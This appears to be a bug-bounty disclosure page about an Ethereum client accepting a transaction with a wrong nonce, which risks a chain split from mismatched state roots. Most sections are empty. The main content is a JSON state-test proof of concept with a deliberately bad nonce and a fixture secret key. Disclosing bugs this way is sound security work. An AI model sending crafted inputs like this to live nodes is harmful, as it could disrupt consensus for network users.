#37695 [BC-Insight] Executing transaction that has a wrong nonce might triggered a chain split due to mismatch stateroot
Description
Brief/Intro
Vulnerability Details
{
"testing-create": {
"env": {
"currentCoinbase": "b94f5374fce5edbc8e2a8697c15331677e6ebf0b",
"currentDifficulty": "0x200000",
"currentRandom": "0x0000000000000000000000000000000000000000000000000000000000200000",
"currentGasLimit": "0x26e1f476fe1e22",
"currentNumber": "0x1",
"currentTimestamp": "0x3e8",
"previousHash": "0x044852b2a670ade5407e78fb2863c51de9fcb96542a07186fe3aeda6bb8a116d",
"currentBaseFee": "0x10"
},
"pre": {
"0x00000000000000000000000000000000000000cc": {
"code": "0x",
"storage": {},
"balance": "0x0",
"nonce": "0x0"
},
"0xa94f5374fce5edbc8e2a8697c15331677e6ebf0b": {
"code": "0x",
"storage": {},
"balance": "0xffffffffff",
"nonce": "0x1" //current nonce
}
},
"transaction": {
"gasPrice": "0x16",
"nonce": "0x2", //the correct nonce is 1, but we set this to 2 intentionally for the POC
"to": "0x00000000000000000000000000000000000000cc",
"data": [
"0x"
],
"gasLimit": [
"0x7a1200"
],
"value": [
"0x1"
],
"sender": "0xa94f5374fce5edbc8e2a8697c15331677e6ebf0b",
"secretKey": "0x45a915e4d060149eb4365960e6a7a45f334393093061116b197e3240065ff2d8"
},
"out": "0x",
"post": {
"Cancun": [
{
"hash": "0x0000000000000000000000000000000000000000000000000000000000000000",
"logs": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347",
"indexes": {
"data": 0,
"gas": 0,
"value": 0
}
}
]
}
}
}Impact Details
References
Link to Proof of Concept
Proof of Concept
Proof of Concept
Previous#37120 [BC-Insight] Remote handshake-based TCP/30303 flooding leads to an out-of-memory crashNext#37134 [BC-Insight] Improper secp256k sanitization
Was this helpful?